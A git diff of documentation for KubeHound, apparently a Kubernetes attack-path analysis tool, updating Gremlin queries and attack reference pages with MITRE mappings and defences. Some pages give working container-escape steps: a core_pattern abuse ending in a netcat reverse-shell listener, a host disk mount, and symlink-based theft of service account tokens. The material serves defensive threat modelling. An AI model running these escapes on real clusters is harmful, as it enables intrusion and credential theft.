@@ GraphTraversal criticalPathsFilter(int maxHops, String... exclusions) Example usage: +!!!note + The `criticalPathsFilter()` step returns paths, which can be further processed with other steps. You can use + the `elementMap()` step to display the properties of the vertices and edges in the path. + Invoking the `criticalPathsFilter()` step alone will raise a query error. + ```groovy // All attack paths (up to 10 hops) from services to a critical asset excluding the TOKEN_BRUTEFORCE and TOKEN_LIST attacks -kh.services().criticalPathsFilter(10, "TOKEN_BRUTEFORCE", "TOKEN_LIST") +kh.services().criticalPathsFilter(10, "TOKEN_BRUTEFORCE", "TOKEN_LIST").by(elementMap()) ``` ### HasCriticalPath Step @@ -470,10 +527,10 @@ Sample output: ```json { - "path[Endpoint, ENDPOINT_EXPLOIT, Container, IDENTITY_ASSUME, Identity, PERMISSION_DISCOVER, PermissionSet]" : 6, - "path[Endpoint, ENDPOINT_EXPLOIT, Container, VOLUME_DISCOVER, Volume, TOKEN_STEAL, Identity, PERMISSION_DISCOVER, PermissionSet]" : 6, - "path[Endpoint, ENDPOINT_EXPLOIT, Container, CE_NSENTER, Node, IDENTITY_ASSUME, Identity, PERMISSION_DISCOVER, PermissionSet]" : 1, - "path[Endpoint, ENDPOINT_EXPLOIT, Container, CE_MODULE_LOAD, Node, IDENTITY_ASSUME, Identity, PERMISSION_DISCOVER, PermissionSet]" : 1, - "path[Endpoint, ENDPOINT_EXPLOIT, Container, CE_PRIV_MOUNT, Node, IDENTITY_ASSUME, Identity, PERMISSION_DISCOVER, PermissionSet]" : 1 + "path[Endpoint, ENDPOINT_EXPLOIT, Container, IDENTITY_ASSUME, Identity, PERMISSION_DISCOVER, PermissionSet]": 6, + "path[Endpoint, ENDPOINT_EXPLOIT, Container, VOLUME_DISCOVER, Volume, TOKEN_STEAL, Identity, PERMISSION_DISCOVER, PermissionSet]": 6, + "path[Endpoint, ENDPOINT_EXPLOIT, Container, CE_NSENTER, Node, IDENTITY_ASSUME, Identity, PERMISSION_DISCOVER, PermissionSet]": 1, + "path[Endpoint, ENDPOINT_EXPLOIT, Container, CE_MODULE_LOAD, Node, IDENTITY_ASSUME, Identity, PERMISSION_DISCOVER, PermissionSet]": 1, + "path[Endpoint, ENDPOINT_EXPLOIT, Container, CE_PRIV_MOUNT, Node, IDENTITY_ASSUME, Identity, PERMISSION_DISCOVER, PermissionSet]": 1 } ``` diff --git a/docs/queries/gremlin.md b/docs/queries/gremlin.md index fed428b7d..bd94b47c8 100644 --- a/docs/queries/gremlin.md +++ b/docs/queries/gremlin.md @@ -1,92 +1,92 @@ -# Queries +# Queries You can query KubeHound data stored in the JanusGraph database by using the [Gremlin query language](https://docs.janusgraph.org/getting-started/gremlin/). ## Basic queries -``` java title="Count the number of pods in the cluster" -g.V().hasLabel("Pod").count() +```java title="Count the number of pods in the cluster" +g.V().has("class","Pod").count() ``` -``` java title="View all possible container escapes in the cluster" -g.V().hasLabel("Container").outE().inV().hasLabel("Node").path() +```java title="View all possible container escapes in the cluster" +g.V().has("class","Container").outE().inV().has("class","Node").path() ``` -``` java title="List the names of all possible attacks in the cluster" +```java title="List the names of all possible attacks in the cluster" g.E().groupCount().by(label) ``` -``` java title="View all the mounted host path volumes in the cluster" -g.V().hasLabel("Volume").has("type", "HostPath").groupCount().by("sourcePath") +```java title="View all the mounted host path volumes in the cluster" +g.V().has("class","Volume").has("type", "HostPath").groupCount().by("sourcePath") ``` -``` java title="View host path mounts that can be exploited to escape to a node" -g.E().hasLabel("EXPLOIT_HOST_READ", "EXPLOIT_HOST_WRITE").outV().groupCount().by("sourcePath") +```java title="View host path mounts that can be exploited to escape to a node" +g.E().has("class","EXPLOIT_HOST_READ", "EXPLOIT_HOST_WRITE").outV().groupCount().by("sourcePath") ``` -``` java title="View all service endpoints by service name in the cluster" +```java title="View all service endpoints by service name in the cluster" // Leveraging the "EndpointExposureType" enum value to filter only on services // c.f. https://github.com/DataDog/KubeHound/blob/main/pkg/kubehound/models/shared/constants.go -g.V().hasLabel("Endpoint").has("exposure", 3).groupCount().by("serviceEndpoint") +g.V().has("class","Endpoint").has("exposure", 3).groupCount().by("serviceEndpoint") ``` ## Basic attack paths -``` java title="All paths between an endpoint and a node" -g.V().hasLabel("Endpoint").repeat(out().simplePath()).until(hasLabel("Node")).path() +```java title="All paths between an endpoint and a node" +g.V().has("class","Endpoint").repeat(out().simplePath()).until(has("class","Node")).path() ``` -``` java title="All paths (up to 5 hops) between a container and a node" -g.V().hasLabel("Container").repeat(out().simplePath()).until(hasLabel("Node").or().loops().is(5)).hasLabel("Node").path() +```java title="All paths (up to 5 hops) between a container and a node" +g.V().has("class","Container").repeat(out().simplePath()).until(has("class","Node").or().loops().is(5)).has("class","Node").path() ``` -``` java title="All attack paths (up to 6 hops) from any compomised identity (e.g. service account) to a critical asset" -g.V().hasLabel("Identity").repeat(out().simplePath()).until(has("critical", true).or().loops().is(6)).has("critical", true).path().limit(5) +```java title="All attack paths (up to 6 hops) from any compomised identity (e.g. service account) to a critical asset" +g.V().has("class","Identity").repeat(out().simplePath()).until(has("critical", true).or().loops().is(6)).has("critical", true).path().limit(5) ``` -## Attack paths from compromised assets +## Attack paths from compromised assets ### Containers -``` java title="Attack paths (up to 10 hops) from a known breached container to any critical asset" -g.V().hasLabel("Container").has("name", "nsenter-pod").repeat(out().simplePath()).until(has("critical", true).or().loops().is(10)).has("critical", true).path() +```java title="Attack paths (up to 10 hops) from a known breached container to any critical asset" +g.V().has("class","Container").has("name", "nsenter-pod").repeat(out().simplePath()).until(has("critical", true).or().loops().is(10)).has("critical", true).path() ``` -``` java title="Attack paths (up to 10 hops) from a known backdoored container image to any critical asset" -g.V().hasLabel("Container").has("image", TextP.containing("malicious-image")).repeat(out().simplePath()).until(has("critical", true).or().loops().is(10)).has("critical", true).path() +```java title="Attack paths (up to 10 hops) from a known backdoored container image to any critical asset" +g.V().has("class","Container").has("image", TextP.containing("malicious-image")).repeat(out().simplePath()).until(has("critical", true).or().loops().is(10)).has("critical", true).path() ``` ### Credentials -``` java title="Attack paths (up to 10 hops) from a known breached identity to a critical asset" -g.V().hasLabel("Identity").has("name", "compromised-sa").repeat(out().simplePath()).until(has("critical", true).or().loops().is(10)).has("critical", true).path() +```java title="Attack paths (up to 10 hops) from a known breached identity to a critical asset" +g.V().has("class","Identity").has("name", "compromised-sa").repeat(out().simplePath()).until(has("critical", true).or().loops().is(10)).has("critical", true).path() ``` ### Endpoints -``` java title="Attack paths (up to 6 hops) from any endpoint to a critical asset:" -g.V().hasLabel("Endpoint").repeat(out().simplePath()).until(has("critical", true).or().loops().is(6)).has("critical", true).path().limit(5) +```java title="Attack paths (up to 6 hops) from any endpoint to a critical asset:" +g.V().has("class","Endpoint").repeat(out().simplePath()).until(has("critical", true).or().loops().is(6)).has("critical", true).path().limit(5) ``` -``` java title="Attack paths (up to 10 hops) from a known risky endpoint (e.g JMX) to a critical asset" -g.V().hasLabel("Endpoint").has("portName", "jmx").repeat(out().simplePath()).until(has("critical", true).or().loops().is(6)).has("critical", true).path().limit(5) +```java title="Attack paths (up to 10 hops) from a known risky endpoint (e.g JMX) to a critical asset" +g.V().has("class","Endpoint").has("portName", "jmx").repeat(out().simplePath()).until(has("critical", true).or().loops().is(6)).has("critical", true).path().limit(5) ``` ## Risk assessment -``` java title="What is the shortest exploitable path between an exposed service and a critical asset?" -g.V().hasLabel("Endpoint").has("exposure", gte(3)).repeat(out().simplePath()).until(has("critical", true).or().loops().is(7)).has("critical", true).path().count(local).min() +```java title="What is the shortest exploitable path between an exposed service and a critical asset?" +g.V().has("class","Endpoint").has("exposure", gte(3)).repeat(out().simplePath()).until(has("critical", true).or().loops().is(7)).has("critical", true).path().count(local).min() ``` -``` java title="What percentage of external facing services have an exploitable path to a critical asset?" +```java title="What percentage of external facing services have an exploitable path to a critical asset?" // Leveraging the "EndpointExposureType" enum value to filter only on services // c.f. https://github.com/DataDog/KubeHound/blob/main/pkg/kubehound/models/shared/constants.go // Base case -g.V().hasLabel("Endpoint").has("exposure", gte(3)).count() +g.V().has("class","Endpoint").has("exposure", gte(3)).count() // Has a critical path -g.V().hasLabel("Endpoint").has("exposure", gte(3)).where(repeat(out().simplePath()).until(has("critical", true).or().loops().is(10)).has("critical", true).limit(1)).count() +g.V().has("class","Endpoint").has("exposure", gte(3)).where(repeat(out().simplePath()).until(has("critical", true).or().loops().is(10)).has("critical", true).limit(1)).count() ``` ## CVE impact assessment @@ -96,30 +96,30 @@ You can also use KubeHound to determine if workloads in your cluster may be vuln First, evaluate if a known vulnerable image is running in the cluster: ```java -g.V().hasLabel("Container").has("image", TextP.containing("elasticsearch")).groupCount().by("image") +g.V().has("class","Container").has("image", TextP.containing("elasticsearch")).groupCount().by("image") ``` Then, check any exposed services that could be affected and have a path to a critical asset. This helps prioritizing patching and remediation. ```java -g.V().hasLabel("Container").has("image", "dockerhub.com/elasticsearch:7.1.4").where(inE("ENDPOINT_EXPLOIT").outV().has("exposure", gte(3))).where(repeat(out().simplePath()).until(has("critical", true).or().loops().is(10)).has("critical", true).limit(1)) +g.V().has("class","Container").has("image", "dockerhub.com/elasticsearch:7.1.4").where(inE("ENDPOINT_EXPLOIT").outV().has("exposure", gte(3))).where(repeat(out().simplePath()).until(has("critical", true).or().loops().is(10)).has("critical", true).limit(1)) ``` ## Assessing the value of implementing new security controls To verify concrete impact, this can be achieved by comparing the difference in the key risk metrics above, before and after the control change. To simulate the impact of introducing a control (e.g to evaluate ROI), we can add conditions to our path queries. For example if we wanted to evaluate the impact of adding a gatekeeper rule that would deny the use of `hostPID` we can use the following: -``` java title="What percentage level of attack path reduction was achieved by the introduction of a control?" +```java title="What percentage level of attack path reduction was achieved by the introduction of a control?" // Calculate the base case -g.V().hasLabel("Endpoint").has("exposure", gte(3)).repeat(out().simplePath()).until(has("critical", true).or().loops().is(6)).has("critical", true).path().count() +g.V().has("class","Endpoint").has("exposure", gte(3)).repeat(out().simplePath()).until(has("critical", true).or().loops().is(6)).has("critical", true).path().count() // Calculate the impact of preventing CE_NSENTER attack -g.V().hasLabel("Endpoint").has("exposure", gte(3)).repeat(outE().not(hasLabel("CE_NSENTER")).inV().simplePath()).emit().until(has("critical", true).or().loops().is(6)).has("critical", true).path().count() +g.V().has("class","Endpoint").has("exposure", gte(3)).repeat(outE().not(has("class","CE_NSENTER")).inV().simplePath()).emit().until(has("critical", true).or().loops().is(6)).has("critical", true).path().count() ``` -``` java title="What type of control would cut off the largest number of attack paths to a specific asset in the cluster?" +```java title="What type of control would cut off the largest number of attack paths to a specific asset in the cluster?" // We count the number of instances of unique attack paths using -g.V().hasLabel("Container").repeat(outE().inV().simplePath()).emit() +g.V().has("class","Container").repeat(outE().inV().simplePath()).emit() .until(has("critical", true).or().loops().is(6)).has("critical", true) .path().by(label).groupCount().order(local).by(select(values), desc) @@ -136,15 +136,15 @@ g.V().hasLabel("Container").repeat(outE().inV().simplePath()).emit() ## Threat modelling -``` java title="All unique attack paths by labels to a specific asset (here, the cluster-admin role)" -g.V().hasLabel("Container", "Identity") +```java title="All unique attack paths by labels to a specific asset (here, the cluster-admin role)" +g.V().has("class","Container", "Identity") .repeat(out().simplePath()) .until(has("name", "cluster-admin").or().loops().is(5)) -.has("name", "cluster-admin").hasLabel("Role").path().as("p").by(label).dedup().select("p").path() +.has("name", "cluster-admin").has("class","Role").path().as("p").by(label).dedup().select("p").path() ``` -``` java title="All unique attack paths by labels to a any critical asset" -g.V().hasLabel("Container", "Identity") +```java title="All unique attack paths by labels to a any critical asset" +g.V().has("class","Container", "Identity") .repeat(out().simplePath()) .until(has("critical", true).or().loops().is(5)) .has("critical", true).path().as("p").by(label).dedup().select("p").path() @@ -160,10 +160,11 @@ To get started with Gremlin, have a look at the following tutorials: For large clusters it is recommended to add a `limit()` step to **all** queries where the graph output will be examined in the UI to prevent overloading it. An example looking for attack paths possible from a sample of 5 containers would look like: ```go -g.V().hasLabel("Container").limit(5).outE() +g.V().has("class","Container").limit(5).outE() ``` Additional tips: + - For queries to be displayed in the UI, try to limit the output to 1000 elements or less - Enable `large cluster optimizations` via configuration file if queries are returning too slowly -- Try to filter the initial element of queries by namespace/service/app to avoid generating too many results, for instance `g.V().hasLabel("Container").has("namespace", "your-namespace")` +- Try to filter the initial element of queries by namespace/service/app to avoid generating too many results, for instance `g.V().has("class","Container").has("namespace", "your-namespace")` diff --git a/docs/reference/attacks/CE_MODULE_LOAD.md b/docs/reference/attacks/CE_MODULE_LOAD.md index 516f8ec4c..6747f59a0 100644 --- a/docs/reference/attacks/CE_MODULE_LOAD.md +++ b/docs/reference/attacks/CE_MODULE_LOAD.md @@ -11,8 +11,8 @@ mitreAttackTactic: TA0004 - Privilege escalation # CE_MODULE_LOAD -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| +| Source | Destination | MITRE ATT&CK | +| ------------------------------------- | --------------------------- | ------------------------------------------------------------------- | | [Container](../entities/container.md) | [Node](../entities/node.md) | [Escape to Host, T1611](https://attack.mitre.org/techniques/T1611/) | Load a kernel module from within an overprivileged container to breakout into the node. @@ -72,4 +72,4 @@ Avoid running containers as the `root` user. Enforce running as an unprivileged + [Compendium Of Container Escapes](https://i.blackhat.com/USA-19/Thursday/us-19-Edwards-Compendium-Of-Container-Escapes-up.pdf) + [Linux Privilege Escalation - Exploiting Capabilities - StefLan's Security Blog](https://steflan-security.com/linux-privilege-escalation-exploiting-capabilities/) -+ [Module Load Breakout](https://raesene.github.io/blog/2023/08/06/fun-with-privileged-container-breakout/) \ No newline at end of file ++ [Module Load Breakout](https://raesene.github.io/blog/2023/08/06/fun-with-privileged-container-breakout/) diff --git a/docs/reference/attacks/CE_NSENTER.md b/docs/reference/attacks/CE_NSENTER.md index a602febc8..082d41b86 100644 --- a/docs/reference/attacks/CE_NSENTER.md +++ b/docs/reference/attacks/CE_NSENTER.md @@ -11,8 +11,8 @@ mitreAttackTactic: TA0004 - Privilege escalation # CE_NSENTER -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| +| Source | Destination | MITRE ATT&CK | +| ------------------------------------- | --------------------------- | ------------------------------------------------------------------- | | [Container](../entities/container.md) | [Node](../entities/node.md) | [Escape to Host, T1611](https://attack.mitre.org/techniques/T1611/) | Container escape via the nsenter built-in linux program that allows executing a binary into another namespace. @@ -86,4 +86,3 @@ Avoid running containers as the `root` user. Enforce running as an unprivileged + [nsenter(1) - Linux manual page](https://man7.org/linux/man-pages/man1/nsenter.1.html) + [Bad Pod #2: Privilege and HostPid](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod2) + [Debugging containers using nsenter](https://jaanhio.me/blog/nsenter-debug/) - diff --git a/docs/reference/attacks/CE_PRIV_MOUNT.md b/docs/reference/attacks/CE_PRIV_MOUNT.md index fc35f3b45..82827d70d 100644 --- a/docs/reference/attacks/CE_PRIV_MOUNT.md +++ b/docs/reference/attacks/CE_PRIV_MOUNT.md @@ -11,8 +11,8 @@ mitreAttackTactic: TA0004 - Privilege escalation # CE_PRIV_MOUNT -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| +| Source | Destination | MITRE ATT&CK | +| ------------------------------------- | --------------------------- | ------------------------------------------------------------------- | | [Container](../entities/container.md) | [Node](../entities/node.md) | [Escape to Host, T1611](https://attack.mitre.org/techniques/T1611/) | Mount the host disk and gain access to the host via arbitrary filesystem write @@ -59,14 +59,14 @@ mount /dev/vda1 /mnt/hostfs ls -lah /mnt/hostfs/ ``` -With the disk now writeable from the container, follow the steps in [EXPLOIT_HOST_WRITE](./EXPLOIT_HOST_WRITE.md#Exploitation). +With the disk now writeable from the container, follow the steps in [EXPLOIT_HOST_WRITE](./EXPLOIT_HOST_WRITE.md#exploitation). ## Defences ### Monitoring + Monitor `mount` events originating from containers -+ See [EXPLOIT_HOST_WRITE](./EXPLOIT_HOST_WRITE.md#Defences) ++ See [EXPLOIT_HOST_WRITE](./EXPLOIT_HOST_WRITE.md#defences) ### Implement security policies diff --git a/docs/reference/attacks/CE_SYS_PTRACE.md b/docs/reference/attacks/CE_SYS_PTRACE.md index 2912b1a92..92e283f77 100644 --- a/docs/reference/attacks/CE_SYS_PTRACE.md +++ b/docs/reference/attacks/CE_SYS_PTRACE.md @@ -11,8 +11,8 @@ mitreAttackTactic: TA0004 - Privilege escalation # CE_SYS_PTRACE -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| +| Source | Destination | MITRE ATT&CK | +| ------------------------------------- | --------------------------- | ------------------------------------------------------------------- | | [Container](../entities/container.md) | [Node](../entities/node.md) | [Escape to Host, T1611](https://attack.mitre.org/techniques/T1611/) | Given the requisite capabilities, abuse the legitimate OS debugging mechanisms to escape the container via attaching to a node process. @@ -84,4 +84,3 @@ Avoid running containers as the `root` user. Enforce running as an unprivileged ## References: + [Container Escape: All You Need is Cap (Capabilities)](https://www.cybereason.com/blog/container-escape-all-you-need-is-cap-capabilities?hs_amp=true) - diff --git a/docs/reference/attacks/CE_UMH_CORE_PATTERN.md b/docs/reference/attacks/CE_UMH_CORE_PATTERN.md index b71a11e9f..fc6a9838b 100644 --- a/docs/reference/attacks/CE_UMH_CORE_PATTERN.md +++ b/docs/reference/attacks/CE_UMH_CORE_PATTERN.md @@ -9,8 +9,8 @@ mitreAttackTactic: TA0004 - Privilege escalation Container escape via the `core_pattern` `usermode_helper` in the case of an exposed `/proc` mount. -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| +| Source | Destination | MITRE ATT&CK | +| ------------------------------------- | --------------------------- | ------------------------------------------------------------------- | | [Container](../entities/container.md) | [Node](../entities/node.md) | [Escape to Host, T1611](https://attack.mitre.org/techniques/T1611/) | ## Details @@ -28,7 +28,7 @@ See the [example pod spec](https://github.com/DataDog/KubeHound/tree/main/test/s Determine mounted volumes within the container as per [VOLUME_DISCOVER](./VOLUME_DISCOVER.md#checks). If the host `/proc/sys/kernel` (or any parent directory) is mounted, this attack will be possible. Example below. ```bash -$ cat /proc/self/mounts +$ cat /proc/self/mounts ... proc /hostproc proc rw,nosuid,nodev,noexec,relatime 0 0 @@ -37,10 +37,10 @@ proc /hostproc proc rw,nosuid,nodev,noexec,relatime 0 0 ## Exploitation -First find the path of the container’s filesystem on the host. This can be done by retrieving the current mounts (see [VOLUME_DISCOVER](./VOLUME_DISCOVER.md#checks)). Looks for the `upperdir` value of the overlayfs entry associated with containerd: +First find the path of the container's filesystem on the host. This can be done by retrieving the current mounts (see [VOLUME_DISCOVER](./VOLUME_DISCOVER.md#checks)). Looks for the `upperdir` value of the overlayfs entry associated with containerd: ```bash -$ cat /etc/mtab +$ cat /etc/mtab # or `cat /proc/mounts` depending on the system ... overlay / overlay rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/27/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/71/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/71/work 0 0 ... @@ -52,7 +52,7 @@ $ OVERLAY_PATH=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapsh Oneliner alternative: ```bash -export OVERLAY_PATH=$(cat /proc/mounts | grep -oe upperdir=.*, | cut -d = -f 2 | tr -d , | head -n 1) +export OVERLAY_PATH=$(cat /proc/mounts | grep -oe upperdir="[^,]*," | cut -d = -f 2 | tr -d , | head -n 1) ``` Next create a mini program that will crash immediately and generate a kernel coredump. For example: @@ -64,10 +64,16 @@ echo 'int main(void) { buf[i] = 1; } return 0; -}' > /tmp/crash.c && gcc -o crash /tmp/crash.c +}' > /tmp/crash.c ``` -Compile the program and copy the binary into the container as crash. Next write a shell script to be triggered inside the container’s file system as `shell.sh`: +Compile the program and copy the binary into the container as crash: +```bash +apt update && apt install gcc +gcc -o crash /tmp/crash.c +``` + +Next write a shell script to be triggered inside the container's file system as `shell.sh`: ```bash # Reverse shell @@ -80,8 +86,11 @@ chmod a+x /tmp/shell.sh Finally write the `usermode_helper` script path to the `core_pattern` helper path and trigger the container escape: ```bash -cd /hostproc/sys/kernel +# move to mounted folder with /proc +cd /sysproc echo "|$OVERLAY_PATH/tmp/shell.sh" > core_pattern +cd +apt install netcat-traditional sleep 5 && ./crash & nc -l -vv -p 9000 ``` @@ -89,7 +98,7 @@ sleep 5 && ./crash & nc -l -vv -p 9000 ### Monitoring -+ Use the Datadog agent to monitor for creation of new `usermode_helper` programs via writes to known locations, in this case `/proc/sys/kernel_core_pattern`. ++ Use the Datadog agent to monitor for creation of new `usermode_helper` programs via writes to known locations, in this case `/proc/sys/kernel/core_pattern`. ### Implement security policies diff --git a/docs/reference/attacks/CE_VAR_LOG_SYMLINK.md b/docs/reference/attacks/CE_VAR_LOG_SYMLINK.md index dfac1c73b..82c3239f3 100644 --- a/docs/reference/attacks/CE_VAR_LOG_SYMLINK.md +++ b/docs/reference/attacks/CE_VAR_LOG_SYMLINK.md @@ -5,27 +5,27 @@ title: CE_VAR_LOG_SYMLINK # CE_VAR_LOG_SYMLINK -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| +| Source | Destination | MITRE ATT&CK | +| ------------------------------------- | --------------------------- | ------------------------------------------------------------------- | | [Container](../entities/container.md) | [Node](../entities/node.md) | [Escape to Host, T1611](https://attack.mitre.org/techniques/T1611/) | Arbitrary file reads on the host from a node via an exposed `/var/log` mount. ## Details -A pod running as root and with a mount point to the node’s `/var/log` directory can expose the entire contents of its host filesystem to any user who has access to its logs, enabling an attacker to read arbitrary files on the host node. See [Kubernetes Pod Escape Using Log Mounts](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) for a more detailed explanation of the technique. +A pod running as root and with a mount point to the node's `/var/log` directory can expose the entire contents of its host filesystem to any user who has access to its logs, enabling an attacker to read arbitrary files on the host node. See [Kubernetes Pod Escape Using Log Mounts](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) for a more detailed explanation of the technique. ## Prerequisites Execution as root within a container process with the host `/var/log/` (or any parent directory) mounted inside the container. -See the [example pod spec](https://github.com/DataDog/KubeHound/tree/main/test/setup/test-cluster/attacks/TOKEN_VAR_LOG_SYMLINK.yaml). +See the [example pod spec](https://github.com/DataDog/KubeHound/tree/main/test/setup/test-cluster/attacks/CE_VAR_LOG_SYMLINK.yaml). ## Checks @@ -65,7 +65,7 @@ Setup the symlink: ln -s / /host/var/log/root_link ``` -Call the kubelet API to read the “logs” and extract pod service account tokens: +Call the kubelet API to read the "logs" and extract pod service account tokens: ```bash $ KUBE_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) diff --git a/docs/reference/attacks/CONTAINER_ATTACH.md b/docs/reference/attacks/CONTAINER_ATTACH.md index e9436873d..1ab1acc6a 100644 --- a/docs/reference/attacks/CONTAINER_ATTACH.md +++ b/docs/reference/attacks/CONTAINER_ATTACH.md @@ -5,15 +5,15 @@ title: CONTAINER_ATTACH # CONTAINER_ATTACH -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| -| [Pod](../entities/pod.md) | [Container](../entities/container.md) | [Lateral Movement, TA0008](https://attack.mitre.org/tactics/TA0008/) | +| Source | Destination | MITRE ATT&CK | +| ------------------------- | ------------------------------------- | -------------------------------------------------------------------- | +| [Pod](../entities/pod.md) | [Container](../entities/container.md) | [Container Administration Command, T1609](https://attack.mitre.org/techniques/T1609/) | Attach to a container running within a pod given access to the pod. @@ -69,4 +69,4 @@ kubectl describe pod ## References: -+ [Official Kubernetes Documentation](https://kubernetes.io/docs/tasks/debug/debug-application/debug-running-pod/) \ No newline at end of file ++ [Official Kubernetes Documentation](https://kubernetes.io/docs/tasks/debug/debug-application/debug-running-pod/) diff --git a/docs/reference/attacks/ENDPOINT_EXPLOIT.md b/docs/reference/attacks/ENDPOINT_EXPLOIT.md index 9a05e3706..be0d8d441 100644 --- a/docs/reference/attacks/ENDPOINT_EXPLOIT.md +++ b/docs/reference/attacks/ENDPOINT_EXPLOIT.md @@ -12,8 +12,8 @@ mitreAttackTactic: TA0008 - Lateral Movement Represents a network endpoint exposed by a container that could be exploited by an attacker (via means known or unknown). This can correspond to a Kubernetes service, node service, node port, or container port. -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| +| Source | Destination | MITRE ATT&CK | +| ----------------------------------- | ------------------------------------- | ------------------------------------------------------------------------------------ | | [Endpoint](../entities/endpoint.md) | [Container](../entities/container.md) | [Exploitation of Remote Services, T1210](https://attack.mitre.org/techniques/T1210/) | ## Details @@ -51,4 +51,3 @@ None ## References: + [Official Kubernetes documentation: EndpointSlices ](https://kubernetes.io/docs/concepts/storage/volumes/) - diff --git a/docs/reference/attacks/EXPLOIT_CONTAINERD_SOCK.md b/docs/reference/attacks/EXPLOIT_CONTAINERD_SOCK.md index 78d98e900..8d083fe21 100644 --- a/docs/reference/attacks/EXPLOIT_CONTAINERD_SOCK.md +++ b/docs/reference/attacks/EXPLOIT_CONTAINERD_SOCK.md @@ -5,18 +5,23 @@ title: EXPLOIT_CONTAINERD_SOCK # EXPLOIT_CONTAINERD_SOCK -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| -| [Container](../entities/container.md) | [Container](../entities/container.md) | [Lateral Movement, TA0008](https://attack.mitre.org/tactics/TA0008/) | +| Source | Destination | MITRE ATT&CK | +| ------------------------------------- | ------------------------------------- | -------------------------------------------------------------------- | +| [Container](../entities/container.md) | [Container](../entities/container.md) | [Deploy Container, T1610](https://attack.mitre.org/techniques/T1610/) | Container escape via the `containerd.sock` file that allows executing a binary into another container. +!!! warning + + This attack detection is currently __NOT IMPLEMENTED__. + ## Details When the `containerd.sock` (or other equivalent - see the list below) is mounted inside a container, it allows the container to interact with container runtime. Therefore an attacker can execute any command in any container present in the cluster. This allows an attacker to do some lateral movement across the cluster. diff --git a/docs/reference/attacks/EXPLOIT_HOST_READ.md b/docs/reference/attacks/EXPLOIT_HOST_READ.md index 66d0c3c17..6386835b8 100644 --- a/docs/reference/attacks/EXPLOIT_HOST_READ.md +++ b/docs/reference/attacks/EXPLOIT_HOST_READ.md @@ -11,8 +11,8 @@ mitreAttackTactic: TA0004 - Privilege escalation # EXPLOIT_HOST_READ -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| +| Source | Destination | MITRE ATT&CK | +| ------------------------------------- | --------------------------- | ------------------------------------------------------------------- | | [Container](../entities/container.md) | [Node](../entities/node.md) | [Escape to Host, T1611](https://attack.mitre.org/techniques/T1611/) | Exploit an arbitrary read from a sensitive host path mounted into the container to gain execution on the host. diff --git a/docs/reference/attacks/EXPLOIT_HOST_TRAVERSE.md b/docs/reference/attacks/EXPLOIT_HOST_TRAVERSE.md index b29d19ba9..eef30e108 100644 --- a/docs/reference/attacks/EXPLOIT_HOST_TRAVERSE.md +++ b/docs/reference/attacks/EXPLOIT_HOST_TRAVERSE.md @@ -11,8 +11,8 @@ mitreAttackTactic: TA0006 - Credential Access # EXPLOIT_HOST_TRAVERSE -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| +| Source | Destination | MITRE ATT&CK | +| ------------------------------- | ------------------------------- | -------------------------------------------------------------------------- | | [Volume](../entities/volume.md) | [Volume](../entities/volume.md) | [Unsecured Credentials, T1552](https://attack.mitre.org/techniques/T1552/) | This attack represents the ability to steal a K8s API token from a container via access to a mounted parent volume of the `/var/lib/kubelet/pods` directory. @@ -102,4 +102,3 @@ automountServiceAccountToken: false + [The Path Less Traveled: Abusing Kubernetes Defaults (Video)](https://www.youtube.com/watch?v=HmoVSmTIOxM) + [The Path Less Traveled: Abusing Kubernetes Defaults (GitHub)](https://github.com/mauilion/blackhat-2019) + [Securing Kubernetes Clusters by Eliminating Risky Permissions](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) - diff --git a/docs/reference/attacks/EXPLOIT_HOST_WRITE.md b/docs/reference/attacks/EXPLOIT_HOST_WRITE.md index a76aba3ca..514b55f6c 100644 --- a/docs/reference/attacks/EXPLOIT_HOST_WRITE.md +++ b/docs/reference/attacks/EXPLOIT_HOST_WRITE.md @@ -11,8 +11,8 @@ mitreAttackTactic: TA0004 - Privilege escalation # EXPLOIT_HOST_WRITE -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| +| Source | Destination | MITRE ATT&CK | +| ------------------------------------- | --------------------------- | ------------------------------------------------------------------- | | [Container](../entities/container.md) | [Node](../entities/node.md) | [Escape to Host, T1611](https://attack.mitre.org/techniques/T1611/) | Exploit an arbitrary write from a sensitive host path mounted into the container to gain execution on the host. @@ -73,4 +73,3 @@ Avoid running containers as the `root` user. Enforce running as an unprivileged + [Bad Pods: Kubernetes Pod Privilege Escalation](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation) + [7 Ways to Escape a Container](https://www.panoptica.app/research/7-ways-to-escape-a-container) + [Atomic Red Team T1611](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1611/T1611.md) - diff --git a/docs/reference/attacks/IDENTITY_ASSUME.md b/docs/reference/attacks/IDENTITY_ASSUME.md index 0e84037df..6b0923384 100644 --- a/docs/reference/attacks/IDENTITY_ASSUME.md +++ b/docs/reference/attacks/IDENTITY_ASSUME.md @@ -11,9 +11,9 @@ mitreAttackTactic: TA0004 - Privilege escalation # IDENTITY_ASSUME -| Source | Destination | MITRE | -| ----------------------------------------- | ------------------------------------- |----------------------------------| -| [Container](../entities/container.md), [Node](../entities/node.md) | [Identity](../entities/identity.md) | [Valid Accounts, T1078](https://attack.mitre.org/techniques/T1078/) | +| Source | Destination | MITRE ATT&CK | 